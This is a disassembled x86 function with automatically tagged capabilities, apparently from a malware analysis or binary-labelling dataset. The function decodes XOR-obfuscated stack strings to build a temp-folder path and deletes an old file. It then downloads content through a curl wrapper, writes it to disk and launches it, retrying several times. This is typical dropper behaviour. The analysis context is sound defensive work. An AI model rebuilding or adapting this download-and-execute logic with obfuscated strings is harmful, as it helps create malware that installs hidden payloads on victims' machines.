Function at 0x4142c5
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete file
Encode data using xor
Get common file path
Write file on windows

Disassembly:
push 0x2e0
mov eax, 0x4de758
call fcn.004c1130
mov dword [ebp - 0x2b8], ecx
mov esi, dword [ebp + 8]
push 0
mov dword [ebp - 0x244], esi
call dword [sym.imp.ole32.dll_CoInitialize]
xor ebx, ebx
and dword [ebp - 0x2b0], 0
lea eax, [ebp - 0x2b0]
push eax
push 0x4ff9d0
push 5
xor edi, edi
inc ebx
push edi
push 0x4ff9a4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x414321
cmp dword [ebp - 0x2b0], edi
jne 0x4145e5
push 0x104
lea eax, [ebp - 0x137]
mov byte [ebp - 0x138], 0
push 0
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x15], 0x42664448
xor ecx, ecx
mov word [ebp - 0x17], 0x4a4f
mov byte [ebp - 0x18], 0x5b
mov al, byte [ebp + ecx - 0x18]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jl 0x414363
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x138]
push 0x105
push eax
call fcn.004bab23
add esp, 0xc
lea eax, [ebp - 0x138]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x1d], 0x425d4a5d
xor ecx, ecx
mov dword [ebp - 0x21], 0x14190b09
mov dword [ebp - 0x25], 0xa0b0f1a
mov dword [ebp - 0x29], 0x505d5e54
mov word [ebp - 0x2b], 0x4d5a
mov byte [ebp - 0x2c], 0x4e
mov al, byte [ebp + ecx - 0x2c]
sub al, 3
xor al, 0x3f
mov byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 0x13
jl 0x4143c4
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x138]
push 0x105
push eax
call fcn.004bab23
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - method.CCURLWrapper.virtual_0], vtable.CCURLWrapper.0
mov dword [ebp - 4], 5
xor eax, eax
mov dword [ebp - 0x24c], eax
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x248], 0xf
mov dword [ebp - 0x24c], eax
mov byte [ebp - 0x25c], al
mov byte [ebp - 4], 6
lea eax, [ebp - 0x2ec]
mov ecx, dword [ebp - 0x2b8]
push eax
lea ecx, [ecx + 0x258]
call fcn.00412aac
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 0x10
jb 0x414458
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.004018ec
mov byte [ebp - 4], 8
call fcn.0047f060
test eax, eax
jne 0x414476
push 2
pop esi
jmp 0x41448b
push eax
lea eax, [ebp - 0x25c]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.0041c412
mov esi, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x2d4]
push 0
push 1
call fcn.004019c4
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2ec]
push 0
push 1
call fcn.004019c4
test esi, esi
jne 0x41451f
cmp dword [ebp - 0x24c], esi
je 0x41451f
and dword [ebp - 0x2ac], esi
lea eax, [ebp - 0x138]
push 0x4ff95c
push eax
lea eax, [ebp - 0x2ac]
push eax
call fcn.004ba471
add esp, 0xc
cmp dword [ebp - 0x2ac], esi
je 0x41451f
push dword [ebp - 0x2ac]
cmp dword [ebp - 0x248], 0x10
lea eax, [ebp - 0x25c]
push dword [ebp - 0x24c]
cmovae eax, dword [ebp - 0x25c]
push 1
push eax
call fcn.004bc1bd
push dword [ebp - 0x2ac]
call fcn.004bad04
xor edi, edi
add esp, 0x14
inc edi
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x25c]
push 0
push 1
call fcn.004019c4
or dword [ebp - 4], 0xffffffff
mov dword [ebp - method.CCURLWrapper.virtual_0], vtable.CCURLWrapper.0
test edi, edi
je 0x4145d1
push 0x40
lea eax, [ebp - 0x2a4]
push 0
push eax
call fcn.004be330
add esp, 0xc
mov dword [ebp - 0x2a8], 0x44
xor eax, eax
mov dword [ebp - 0x27c], 0x101
mov word [ebp - 0x278], ax
mov byte [ebp - 0x240], al
push 0x104
push eax
lea eax, [ebp - 0x23f]
push eax
call fcn.004be330
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x240]
push str._s__S
push eax
call fcn.00416129
add esp, 0xc
lea eax, [ebp - 0x240]
push 0x3a98
push eax
lea eax, [ebp - 0x2a8]
push eax
call fcn.0041425a
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 5
jle 0x4142ed
push 2
pop eax
call fcn.004c10df
ret 4
push 0xffffffffffffffff
xor ebx, ebx
mov esi, 0x4fea55
push ebx
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push esi
call fcn.00412b7a
mov dword [ebp - 4], ebx
push ecx
mov ecx, esp
mov dword [ebp - 0x2b8], esp
push esi
call fcn.00412b7a
mov byte [ebp - 4], 1
push ecx
mov ecx, esp
mov dword [ebp - 0x2ac], esp
push esi
call fcn.00412b7a
mov byte [ebp - 4], 2
push ecx
mov ecx, esp
mov dword [ebp - 0x2bc], esp
push esi
call fcn.00412b7a
mov byte [ebp - 4], 3
push ecx
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [ebp - 0x244]
call fcn.00412b7a
mov byte [ebp - 4], 4
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x2b0]
call fcn.00412c33
mov esi, dword [ebp - 0x2b0]
lea ecx, [ebp - 0x244]
push ecx
push esi
mov dword [ebp - 0x244], ebx
mov eax, dword [esi]
call dword [eax + 0x24]
test eax, eax
jns 0x414689
push 0x4ff9d0
push esi
push eax
call fcn.004dbec0
mov eax, dword [ebp - 0x2b0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
xor eax, eax
inc eax
jmp 0x4145dd